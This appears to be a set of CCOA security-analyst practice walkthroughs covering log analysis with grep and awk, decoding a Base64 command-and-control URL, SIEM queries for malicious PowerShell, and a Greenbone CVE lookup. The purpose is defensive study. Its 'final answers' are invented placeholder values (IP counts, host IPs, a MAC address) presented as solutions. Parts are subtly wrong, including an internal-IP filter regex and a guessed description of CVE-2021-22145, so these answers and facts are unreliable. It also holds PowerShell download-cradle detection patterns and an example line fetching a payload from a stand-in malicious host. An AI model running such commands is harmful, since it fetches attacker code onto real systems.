CCOA Practice Questions

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.